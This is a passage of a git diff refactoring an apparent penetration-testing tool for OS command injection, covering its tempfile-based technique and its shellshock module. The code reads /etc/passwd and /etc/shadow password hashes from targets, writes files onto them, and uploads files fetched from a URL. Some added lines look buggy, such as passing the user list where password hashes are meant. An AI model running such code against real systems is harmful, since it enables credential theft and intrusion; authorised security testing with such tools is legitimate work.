checks.unavailable_option(check_option) - pass + cmd = settings.SYS_PASSES + #print(settings.SINGLE_WHITESPACE) + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + _ = True + if output == False: + output = "" + session_handler.store_cmd(url, cmd, output, vuln_parameter) else: - cmd = settings.SYS_PASSES - #print(settings.SINGLE_WHITESPACE) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - _ = True - if output == False: - output = "" - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - sys_passes = output - if sys_passes == "": - sys_passes = " " - if sys_passes : - info_msg = "Fetching content of the file '" + settings.SHADOW_FILE - info_msg += "' in order to enumerate users password hashes. " - print(settings.print_info_msg(info_msg)) - sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split() - if len(sys_passes) != 0 : - info_msg = "Identified " + str(len(sys_passes)) - info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) - output_file.close() - count = 0 - for line in sys_passes: - count = count + 1 - try: - if ":" in line: - fields = line.split(":") - if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") - output_file.close() - # Check for appropriate '/etc/shadow' format. - except IndexError: - if count == 1 : - warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " - warn_msg += "in the appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - print(fields[0]) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + fields[0]) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions to read the '" - warn_msg += settings.SHADOW_FILE + "' file." - print(settings.print_warning_msg(warn_msg)) + output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + sys_passes = output + checks.print_passes(sys_passes, filename, _) """ Single os-shell execution @@ -555,13 +263,27 @@ def reset(): if menu.options.users: if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) + if settings.TARGET_OS == "win": + info_msg = "Executing the 'net users' command " + info_msg += "in order to enumerate users entries. " + else: + info_msg = "Fetching content of the file '" + settings.PASSWD_FILE + info_msg += "' in order to enumerate users entries. " + print(settings.print_info_msg(info_msg)) system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) reset() if menu.options.passwords: if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) - system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + if settings.TARGET_OS == "win": + check_option = "--passwords" + checks.unavailable_option(check_option) + else: + info_msg = "Fetching content of the file '" + settings.SHADOW_FILE + info_msg += "' in order to enumerate users password hashes. " + print(settings.print_info_msg(info_msg)) + system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) reset() # eof diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index 625f19e774..af0174c117 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -19,228 +19,113 @@ from src.utils import menu from src.utils import settings from src.utils import session_handler +from src.core.injections.controller import checks from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector -from src.core.injections.semiblind.techniques.file_based import fb_injector """ The "tempfile-based" injection technique on Semiblind OS Command Injection. __Warning:__ This technique is still experimental, is not yet fully functional and may leads to false-positive resutls. """ - -""" -Read a file from the target host. -""" -def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Fetching content of the file: '" - info_msg += file_to_read + "'." - print(settings.print_info_msg(info_msg)) - - # Execute command - if settings.TARGET_OS == "win": - cmd = settings.WIN_FILE_READ + file_to_read - else: - cmd = settings.FILE_READ + file_to_read - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - shell = output - try: - shell = "".join(str(p) for p in shell) - except TypeError: - pass - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - if shell: - _ = "Fetched file content" - print(settings.print_retrieved_data(_, shell)) - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Extracted content of the file '" - info_msg += file_to_read + "' : " + shell + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - sys.stdout.flush() - warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the content of the file '" + file_to_read + "'." - print(settings.print_warning_msg(warn_msg)) """ Write to a file on the target host. """ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() - if not os.path.exists(file_to_write): - warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - print(settings.print_warning_msg(warn_msg)) - raise SystemExit() - if os.path.isfile(file_to_write): - with open(file_to_write, 'r') as content_file: - content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] - content = "".join(str(p) for p in content).replace("'", "\"") - if settings.TARGET_OS == "win": - import base64 - content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode() - else: - warn_msg = "It seems that '" + file_to_write + "' is not a file." - print(settings.print_warning_msg(warn_msg)) - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] - else: - dest_to_write = menu.options.file_dest - - info_msg = "Trying to write the content of the file '" - info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." - print(settings.print_info_msg(info_msg)) - - # Execute command + file_to_write, dest_to_write, content = checks.check_file_to_write() if settings.TARGET_OS == "win": from src.core.injections.results_based.techniques.classic import cb_injector whitespace = settings.WHITESPACES[0] - dest_to_write = dest_to_write.replace("\\","/") - # Find path - path = os.path.dirname(dest_to_write) - path = path.replace("/","\\") - # Change directory - cmd = "cd " + path + cmd = checks.change_dir(dest_to_write) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Find filename - filname = os.path.basename(dest_to_write) - tmp_filname = "tmp_" + filname - cmd = settings.FILE_WRITE + content + ">" + tmp_filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" + fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) + if not menu.options.alter_shell: + cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Decode base 64 encoding - cmd = "certutil -decode " + tmp_filname + " " + filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" + cmd = checks.win_decode_b64_enc(fname, tmp_fname) + if not menu.options.alter_shell: + cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) - # Delete tmp file - cmd = "del " + tmp_filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" + cmd = checks.delete_tmp(tmp_fname) + if not menu.options.alter_shell: + cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) - # Check if file exists - cmd = "if exist " + filname + " (echo " + filname + ")" - if not menu.options.alter_shell : - cmd = "'" + cmd + "'" - dest_to_write = path + "\\" + filname + # cmd = "if exist " + fname + " (echo " + fname + ")" + # dest_to_write = dest_to_write + "\\" + fname + cmd = checks.check_file(dest_to_write) + if not menu.options.alter_shell: + cmd = checks.quoted_cmd(cmd) else: - cmd = settings.FILE_WRITE + "'" + content + "'" + ">" + "'" + dest_to_write + "'" + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write + cmd = checks.write_content(content, dest_to_write) + cmd = cmd + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) shell = output shell = "".join(str(p) for p in shell) # Check if file exists - cmd = "echo $(ls " + dest_to_write + ")" + cmd = checks.check_file(dest_to_write) if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - shell = output - try: - shell = "".join(str(p) for p in shell) - except TypeError: - pass + check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + shell = "".join(str(p) for p in shell) if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) - if shell: - info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." - print(settings.print_bold_info_msg(info_msg)) + checks.file_write_status(shell, dest_to_write) + +""" +Read a file from the target host. +""" +def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): + _ = False + cmd, file_to_read = checks.file_content_to_read() + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + _ = True else: - warn_msg = "It seems that you don't have permissions to write files on the remote direcoty '" + dest_to_write + "'." - print(settings.print_warning_msg(warn_msg)) + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + shell = "".join(str(p) for p in shell) + if settings.VERBOSITY_LEVEL == 0 and _ and len(shell) != 0: + print(settings.SINGLE_WHITESPACE) + checks.file_read_status(shell, file_to_read, filename) """ Upload a file on the target host. """ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - if settings.TARGET_OS == "win": - check_option = "--file-upload" - checks.unavailable_option(check_option) - pass - else: - file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() - # check if remote file exists. - try: - _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: - warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - except ValueError as err_msg: - err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - print(settings.print_critical_msg(err_msg)) - print(settings.SINGLE_WHITESPACE) - raise SystemExit() - # Check the file-destination - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] - else: - dest_to_upload = menu.options.file_dest - - info_msg = "Trying to upload the file from '" - info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." - print(settings.print_info_msg(info_msg)) - - # Execute command - cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - shell = output - shell = "".join(str(p) for p in shell) - # Check if file exists! - if settings.TARGET_OS == "win": - cmd = "dir " + dest_to_upload + ")" - else: - cmd = "echo $(ls " + dest_to_upload + ")" - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - shell = output - try: - shell = "".join(str(p) for p in shell) - except TypeError: - pass - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - if shell: - info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." - print(settings.print_bold_info_msg(info_msg)) - else: - warn_msg = "It seems that you don't have permissions to upload files on the remote direcoty '" + dest_to_upload + "'." - print(settings.print_warning_msg(warn_msg)) + cmd, dest_to_upload = checks.check_file_to_upload() + check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + shell = "".join(str(p) for p in shell) + cmd = checks.check_file(dest_to_upload) + check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + shell = "".join(str(p) for p in shell) + if settings.VERBOSITY_LEVEL == 0: + print(settings.SINGLE_WHITESPACE) + checks.file_upload_status(shell, dest_to_upload) """ Check the defined options """ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - if menu.options.file_write: file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) if settings.FILE_ACCESS_DONE == False: settings.FILE_ACCESS_DONE = True - if menu.options.file_upload: - file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + if menu.options.file_read: + file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) if settings.FILE_ACCESS_DONE == False: settings.FILE_ACCESS_DONE = True - if menu.options.file_read: - file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + if menu.options.file_upload: + if settings.TARGET_OS == "win": + check_option = "--file-upload" + checks.unavailable_option(check_option) + else: + file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) if settings.FILE_ACCESS_DONE == False: settings.FILE_ACCESS_DONE = True + # eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index c3a67f2012..3a202c4fcb 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -450,10 +450,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if settings.TARGET_OS == "win": time.sleep(1) - _ = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True : - _ = True while True: message = "Do you want to ignore stored session and enumerate again? [y/N] > " enumerate_again = common.read_input(message, default="N", check_batch=True) @@ -474,12 +472,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, pass else: if menu.enumeration_options(): - _ = True tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False and _ == False: - print(settings.SINGLE_WHITESPACE) - # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : while True: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 1367d0678a..e690061edc 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -178,7 +178,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if settings.TARGET_OS == "win": previous_cmd = cmd if alter_shell: - cmd = "\"" + cmd + "\"" + cmd = cmd = checks.quoted_cmd(cmd) else: cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" @@ -361,7 +361,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese if settings.TARGET_OS == "win": previous_cmd = cmd if alter_shell: - cmd = "\"" + cmd + "\"" + cmd = cmd = checks.quoted_cmd(cmd) else: cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 7f7b8d5b21..665a50f84b 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -78,49 +78,23 @@ def shellshock_exploitation(cve, cmd): Enumeration Options """ def enumeration(url, cve, check_header, filename): - - #------------------------------- - # Hostname enumeration - #------------------------------- + _ = False if menu.options.hostname: info_msg = "Fetching hostname." print(settings.print_info_msg(info_msg)) cmd = settings.HOSTNAME shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell: - info_msg = "Hostname: " + str(shell) + "." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the hostname." - print(settings.print_warning_msg(warn_msg)) + checks.print_hostname(shell, filename, _) settings.ENUMERATION_DONE = True - #------------------------------- - # The current user enumeration - #------------------------------- if menu.options.current_user: info_msg = "Fetching current user." print(settings.print_info_msg(info_msg)) cmd = settings.CURRENT_USER cu_account, payload = cmd_exec(url, cmd, cve, check_header, filename) if cu_account: - info_msg = "Current user: " + str(cu_account) + "." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Current user: " + str(cu_account) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to fetch the current user." - print(settings.print_warning_msg(warn_msg)) + checks.print_current_user(cu_account, filename, _) settings.ENUMERATION_DONE = True if menu.options.is_root: @@ -129,22 +103,10 @@ def enumeration(url, cve, check_header, filename): cmd = re.findall(r"" + "\$(.*)", settings.IS_ROOT) cmd = ''.join(cmd).replace("(","").replace(")","") shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - _ = "True" - if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ - (settings.TARGET_OS != "win" and shell != "0"): - _ = "False" - - info_msg = "Current user has excessive privileges: " + str(_) - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - - #------------------------------- - # Retrieve system information - #------------------------------- + if shell: + checks.print_current_user_privs(shell, filename, _) + settings.ENUMERATION_DONE = True + if menu.options.sys_info: info_msg = "Fetching the underlying operating system information." print(settings.print_info_msg(info_msg)) @@ -158,191 +120,27 @@ def enumeration(url, cve, check_header, filename): target_os = target_os + " " + distro_name cmd = settings.RECOGNISE_HP target_arch, payload = cmd_exec(url, cmd, cve, check_header, filename) - if target_os and target_arch: - info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")" - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - info_msg = "Operating system: " + target_os + "." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Operating system: " + str(target_os) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to fetch underlying operating system information." - print(settings.print_warning_msg(warn_msg)) + checks.print_os_info(target_os, target_arch, filename, _) settings.ENUMERATION_DONE = True - #------------------------------- - # System users enumeration - #------------------------------- if menu.options.users: cmd = settings.SYS_USERS - sys_users, payload = cmd_exec(url, cmd, cve, check_header, filename) info_msg = "Fetching content of the file '" + settings.PASSWD_FILE info_msg += "' in order to enumerate users entries. " print(settings.print_info_msg(info_msg)) - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - if len(sys_users.split(" ")) <= 1 : - sys_users = sys_users.split("\n") - else: - sys_users = sys_users.split(" ") - # Check for appropriate '/etc/passwd' format. - if len(sys_users) % 3 != 0 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " - warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users).strip() - print(sys_users) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + sys_users) - output_file.close() - else: - sys_users_list = [] - for user in range(0, len(sys_users), 3): - sys_users_list.append(sys_users[user : user + 3]) - if len(sys_users_list) != 0 : - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " in '" + settings.PASSWD_FILE + "'." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - sys_users = sys_users_list[user] - sys_users = ":".join(str(p) for p in sys_users) - count = count + 1 - fields = sys_users.split(":") - fields1 = "".join(str(p) for p in fields) - # System users privileges enumeration - try: - if not fields[2].startswith("/"): - raise ValueError() - if menu.options.privileges: - if int(fields[1]) == 0: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " - is_privileged_nh = " is root user " - elif int(fields[1]) > 0 and int(fields[1]) < 99 : - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " - is_privileged_nh = " is system user " - elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : - if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " - is_privileged_nh = " is anonymous user " - elif int(fields[1]) == 60002: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " - is_privileged_nh = " is non-trusted user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - else : - is_privileged = "" - is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) - output_file.close() - except ValueError: - if count == 1 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " - warn_msg += "appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users.split(":")) - print(sys_users) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + sys_users) - output_file.close() - else: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to read the '" - warn_msg += settings.PASSWD_FILE + "'." - ptint(settings.print_warning_msg(warn_msg)) - except TypeError: - pass - except IndexError: - print(settings.SINGLE_WHITESPACE) - warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." - print(settings.print_warning_msg(warn_msg)) - pass + sys_users, payload = cmd_exec(url, cmd, cve, check_header, filename) + if sys_users: + checks.print_users(sys_users, filename, _) settings.ENUMERATION_DONE = True - #------------------------------------- - # System password enumeration - #------------------------------------- if menu.options.passwords: + info_msg = "Fetching content of the file '" + settings.SHADOW_FILE + info_msg += "' in order to enumerate users password hashes. " + print(settings.print_info_msg(info_msg)) cmd = settings.SYS_PASSES sys_passes, payload = cmd_exec(url, cmd, cve, check_header, filename) if sys_passes : - sys_passes = "".join(str(p) for p in sys_passes) - sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split( ) - if len(sys_passes) != 0 : - info_msg = "Fetching content of the file '" + settings.SHADOW_FILE - info_msg += "' in order to enumerate users password hashes. " - print(settings.print_info_msg(info_msg)) - sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split() - if len(sys_passes) != 0 : - info_msg = "Identified " + str(len(sys_passes)) - info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) - output_file.close() - count = 0 - for line in sys_passes: - count = count + 1 - try: - if ":" in line: - fields = line.split(":") - if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") - output_file.close() - # Check for appropriate '/etc/shadow' format. - except IndexError: - if count == 1 : - warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " - warn_msg += "in the appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - print(fields[0]) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + fields[0]) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions to read the '" - warn_msg += settings.SHADOW_FILE + "' file." - print(settings.print_warning_msg(warn_msg)) - + checks.print_users(sys_users, filename, _) settings.ENUMERATION_DONE = True """ @@ -350,121 +148,32 @@ def enumeration(url, cve, check_header, filename): """ def file_access(url, cve, check_header, filename): - #------------------------------------- - # Write to a file on the target host. - #------------------------------------- if menu.options.file_write: - file_to_write = 